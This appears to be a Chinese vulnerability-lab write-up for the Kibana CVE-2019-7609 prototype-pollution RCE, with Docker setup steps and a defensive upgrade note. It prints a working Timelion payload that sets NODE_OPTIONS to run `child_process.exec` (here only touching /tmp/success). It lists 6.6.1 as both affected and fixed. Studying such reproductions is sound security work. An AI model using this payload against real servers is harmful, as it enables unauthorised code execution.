CVE-2019-7609 是一个存在于 Kibana 5.6.15 到 6.6.1 版本中的远程代码执行漏洞,它允许攻击者通过原型链污染(Prototype Pollution)在目标服务器上执行任意 JavaScript 代码。这个漏洞是由于 Timelion 组件中的安全问题导致的。
原型链污染
原型链污染是一种特定类型的漏洞,它发生在对象中可以修改其原型属性的情况。JavaScript 中的对象继承自 Object.prototype,因此当创建新对象时,它们将获得所有来自原型的属性和方法。如果这些更改影响了全局或关键的对象原型,那么恶意用户就可以利用这一点来注入和执行自己的代码。
攻击方式
针对 CVE-2019-7609 的攻击通常涉及向 Kibana 发送精心构造的请求,其中包含能够利用该漏洞的 payload。这种 payload 可能会尝试改变某些重要对象的原型属性,以便注入恶意代码。一旦成功,攻击者可以在受影响的服务器上运行任意命令,从而可能导致数据泄露、系统损坏或其他恶意行为。
防御与修复
对于受此漏洞影响的 Kibana 实例,官方推荐的解决方案是升级到不受影响的版本。在这种情况下,需要将 Kibana 升级到 6.6.1 或更高版本,以确保不再受到这个漏洞的影响。
如果你正在使用的是 Docker 环境,你可能还需要更新你的 Docker 镜像,并重新启动容器以应用新的补丁。此外,建议对任何敏感信息进行加密,并限制对 Kibana 和 Elasticsearch 的访问,只允许授权用户连接。
漏洞环境
启动环境前,需要先在Docker主机上执行如下命令,修改vm.max_map_count
配置为262144: sysctl -w vm.max_map_count=262144
之后,执行如下命令启动Kibana 6.5.4和Elasticsearch 6.8.6:
docker-compose up -d
环境启动后,访问http://your-ip:5601
即可看到Kibana页面。
漏洞复现
原型链污染发生在“Timeline”页面,我们填入如下Payload:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
成功后,再访问“Canvas”页面触发命令`/bin/touch /tmp/success`,可见`/tmp/success`已成功创建:
法律声明
声明:
请注意,本文档包含有关已知漏洞的描述和复现方法。这些信息仅用于教育和研究目的,不得用于任何未经授权的活动。
本声明如下:
本人对使用本文档中的信息所产生的任何后果概不负责。任何人使用本文档中的信息应自行承担所有风险。
本文档中的信息不得用于未经授权的任何活动,包括但不限于未经授权的攻击行为。任何使用本文档中的信息进行未经授权的活动将违反法律,并可能导致法律后果。
本文档中的信息仅为教育和研究目的而提供,并且可能包含机密和保密信息。阅读和使用本文档的信息应遵守适用的法律和法规。
请遵守道德原则并报告您发现的任何漏洞给相关方,以促进软件和系统的安全。
请注意,本文档中的信息可能已过时,因为软件和系统可能已经修复了相关漏洞。
特此声明。